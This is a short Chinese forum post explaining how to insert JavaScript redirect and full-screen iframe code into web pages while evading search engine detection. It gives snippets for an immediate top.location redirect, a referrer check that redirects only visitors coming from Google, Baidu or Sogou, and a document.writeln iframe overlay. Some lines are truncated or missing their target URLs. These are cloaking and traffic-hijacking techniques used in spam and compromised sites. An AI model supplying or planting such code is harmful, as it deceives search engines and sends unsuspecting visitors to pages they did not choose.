新程序 发表于 4 天前

如何插入JS跳转/框架代码,避免搜索引擎识别

一、简单粗暴的JS跳转代码:

<p>top.location.;</p><p></p>
优点:简单

缺点:简单,容易被搜索引擎识别

二、延时跳转

比上面的仅仅加了个延时的功能、不推荐

三、JS判断来路代码

<p>var r=document.referrer;</p><p>if(r.indexOf("google")>0 || r.indexOf("baidu")>0 || r.indexOf("sogou")>0 ){</p><p>location.;</p><p>}</p>
以上代码 是判断搜索来路跳转

四、全屏框架代码

document.writeln('<iframe src="https://www.网址.com/" rel="nofollow" scrolling="no" frameborder="0" w

页: [1]
查看完整版本: 如何插入JS跳转/框架代码,避免搜索引擎识别